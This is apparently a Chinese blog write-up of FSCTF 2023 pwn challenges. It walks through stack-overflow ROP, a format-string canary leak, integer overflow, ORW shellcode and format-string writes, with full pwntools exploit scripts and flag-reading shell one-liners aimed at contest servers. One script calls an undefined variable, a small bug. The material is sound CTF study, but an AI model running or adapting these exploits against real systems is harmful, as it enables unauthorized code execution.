FSCTF 2023 PWN

简介:

      FSCTF新生赛是由中国民航大学、天津理工大学、滁州学院、吉林师范大学、三明学院(排名不分先后)等5所高校共同举办的CTF新生赛,比赛涵盖Web、Pwn、Reverse、Crypto、Misc等赛题方向。通过此次比赛,希望能够提高参赛师傅们的实践能力,促进进一步学习竞赛知识的热情,并为大家提供一个展示自我、交流合作的平台。    完结撒花!!!

       这次新生赛挺有意思的,PWN的签到题nc(不知道是不是真的签到    -_-),做的真的会怀疑人生(也是好事,这个知识点肯定是自己的盲区,学到了学到了),What am I thinking?也挺有意思的,没给文件让我们用pwntools去整,总体来说,做的很开心,学到了很多,明年再来!!!


nc

nc这道题做的真会让人怀疑这真的是一道签到题吗,做的人真的会麻木,不过看了WP,这个点明白了还是很不错的,以下就是可以获得flag的命令:

exec 1>&0&&tac fl*           

tac fl*>&0

tac fl*>&2

FSCTF 2023 PWN_第1张图片


rdi

查看一下保护机制,只打开了NX

FSCTF 2023 PWN_第2张图片

ida一下,代码审计一下,你会发现发生了栈溢出,并且有个system,但是没有binsh,这样的话就看下能不能再执行文件里面找到sh

FSCTF 2023 PWN_第3张图片

ROPgadget搜索一手,发现了sh(和binsh有一样的功能),这样就好办,知道system和sh,这样就是考察64位传参的知识了(可以看Pwn Pwn Pwn!!! 技巧(1)),这题是不要栈平衡的,直接上exp了

FSCTF 2023 PWN_第4张图片

exp如下:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

io =remote('node6.anna.nssctf.cn',28993)
elf =ELF('./111')

rdi_addr =0x4007d3
ret_addr =0x400546
sys_addr =0x4006FB
bin_sh =0x40080d

payload=b'a'*(0x80 +8) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)

io.sendline(payload)
io.interactive()

stackmat

老规矩看看保护机制,打开了canary和NX,思路就来了(想办法泄露canary)

FSCTF 2023 PWN_第5张图片

ida反汇编一下,发现了格式字符串漏洞和栈溢出,运行运行文件,看看偏移(结果偏移位8)

FSCTF 2023 PWN_第6张图片

gdb调试一下,发现canary是第十一个参数,这样的话就发现和这个比赛的canary异曲同工之妙(  NewStarCTF 2023 [WEEK 2] PWN),只是这道题不需要栈平衡,直接开干了,不懂可以看看(Pwn Pwn Pwn!!! 技巧(1))

exp如下:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

#p =process('./111')
p =remote('node6.anna.nssctf.cn',28131)
elf = ELF('./111')

backdoor =0x401229
ret_addr =0x40101a

payload =b'%11$p'
p.sendline(payload)
p.recvuntil(b'I kown you know\n')
canary = int(p.recv(18), 16)

payload =b'a'*(0x30 -8) +p64(canary) +p64(0) +p64(backdoor) 

p.send(payload)
p.interactive()

2str

查看一下保护机制,32位只打开了NX

FSCTF 2023 PWN_第7张图片

ida反汇编一下,代码审计你就会发现程序有三点问题,第一点就是 v3 是一个 8 位的无符号整型(可能需要用到整型溢出),第二点就是这里有个 if 语句,需要绕过 v3>9 ,第三点就是 strcpy 造成的溢出,结合三点来看,你会发现 if 语句不能通过 '\x00' 的方法来绕过 if 语句,原因是如果用了 '\x00' ,那么 strcpy 就不会造成溢出,就无法通过溢出来构造payload,所以这题是通过整型溢出的方法来解决这一问题,那么我们就需要知道 unsigned __int8 的取值范围是多少,是0~255(后续我会把所有常见的数据类型总结在 PWN PWN PWN 技巧3里面),那这就好办了,那我们可以输入字符的长度就可以是256~264,在这范围内的长度都可以获得shell,直接干就完事了

FSCTF 2023 PWN_第8张图片

exp如下:

from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')

p =remote('node4.anna.nssctf.cn',28318)
elf =ELF('./111')
#libc = ELF('libc.so.6')

backdoor =0x80492AF
ret_addr =0x804900a
 
p.recvuntil(b'show me your power\n')

payload=b'A'*(0xb9 +4) +p32(backdoor)
payload=payload.ljust(0x100,b'A')

p.sendline(payload)
p.interactive()

What am I thinking?

这题挺有意思的(有没有咱家鸽鸽的粉丝),这题没有附件,看来就是让你nc,去寻找线索,nc一下,出现一大堆英文(看不太懂,翻译了一下)

当时我只看了第一句话,就在想是不是时间做种子,发送一个随机数过去,但是后面想了想没有文件怎么时间做种子啊,然后就不知道如何下手了,后面看了下WP,才发现这题考察的是pwntools的使用-_-,

FSCTF 2023 PWN_第9张图片

接受的时候,刚开始有个换行,这点需要注意(没有换行的话,接受不了后续的内容),然后就是应该怎么接受的问题,接下来应该没有什么问题了

recvuntil()函数用于接收数据,直到遇到指定的字符串,drop=True参数表示在返回结果时,不包含这个指定的字符串

例:

p.recvuntil(b'\nTell', drop=True):这行代码接收来自远程服务器的数据,直到遇到字符串"\nTell"为止

谁黑我家鸽鸽我跟谁急 ☺☺☺☻☻☻

exp如下:

from pwn import *
import base64
import os

#p =process("./111")
p =remote('node4.anna.nssctf.cn',28762)
#elf =ELF("./111")

p.send(b'\n')
p.recvuntil(b'brain:\n')
key =p.recvuntil(b'\nTell', drop=True)
key =base64.b64decode(key)

fp =open('jige', 'wb')
fp.write(key)
fp.close();

os.system('chmod 777 jige')
p_ = process('./jige')
p_.recvuntil(b'THE NUMBER IS ')
num = p_.recvuntil(b'\nCan', drop=True)

p.sendline(num)
p.interactive()

Fi3h

查看一下保护机制,打开了NX和PIE地址随机化

FSCTF 2023 PWN_第10张图片

这题需要orw,但是不明白为什么可以这样做,先挂官方WP吧,会了再来改,嘻嘻嘻-_-

exp如下:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',endian='little',terminal=['tmux','splitw','-h'])

#p =process("./ss")
p =remote('node4.anna.nssctf.cn',28785)
elf =ELF('./111')

p.sendlineafter(b">> ",b"1")
p.recvuntil(b"spent in ")

mmp_addr=int(io.recvuntil(b".. ",drop=True),16)
print("mmp_addr: ",hex(mmp_addr))

p.sendlineafter(b">> ",b"3")
p.recvuntil(b"seems to be ")
leak_addr=int(p.recvuntil(b" and",drop=True),16)
print("leak_addr: ",hex(leak_addr))

p.sendlineafter(b">> ",b"5")
p.recvuntil(b"something:\n")

payload=b"1.1.1."+cyclic(0x88)+p64(leak_addr)
p.send(payload)

p.recvuntil(b"fantasy:\n")

orw=b"\x90"*0x10+asm(shellcraft.open("./flag"))
orw+=asm(shellcraft.read(3,mmp_addr+0x400,0x100))
orw+=asm(shellcraft.write(1,mmp_addr+0x400,0x100))

p.send(orw)
p.interactive()

YS,START!

老规矩查看一下保护机制,32位只打开Canary和NX,这题我当时没有做好像就是因为我反汇编不了伪代码,看了下WP,确实有点玄学

FSCTF 2023 PWN_第11张图片

ida搞起来,

FSCTF 2023 PWN_第12张图片

这题还没有弄明白,等会会了再来改,先贴上官方WP,exp如下:

from pwn import *

#p =process("./111")
p =remote('node4.anna.nssctf.cn',28454)
elf =ELF('./111')

p.sendline(p32(0x0804C044)+b"%15$hn"+b"%7$d")
ver =p.recvuntil(b",P", drop=True)[-6:]
p.sendline(b'y')
p.sendline(b"123")
p.sendline(b"asd")
p.sendlineafter(b"ver", ver)

p.interactive()

总结:

这次高校联合出题,质量感觉不错,学到了很多,一些盲点的知识点也考察了,总体来说挺棒的,自己还得加油,冲冲冲!!!

你可能感兴趣的:(PWN,网络安全,安全)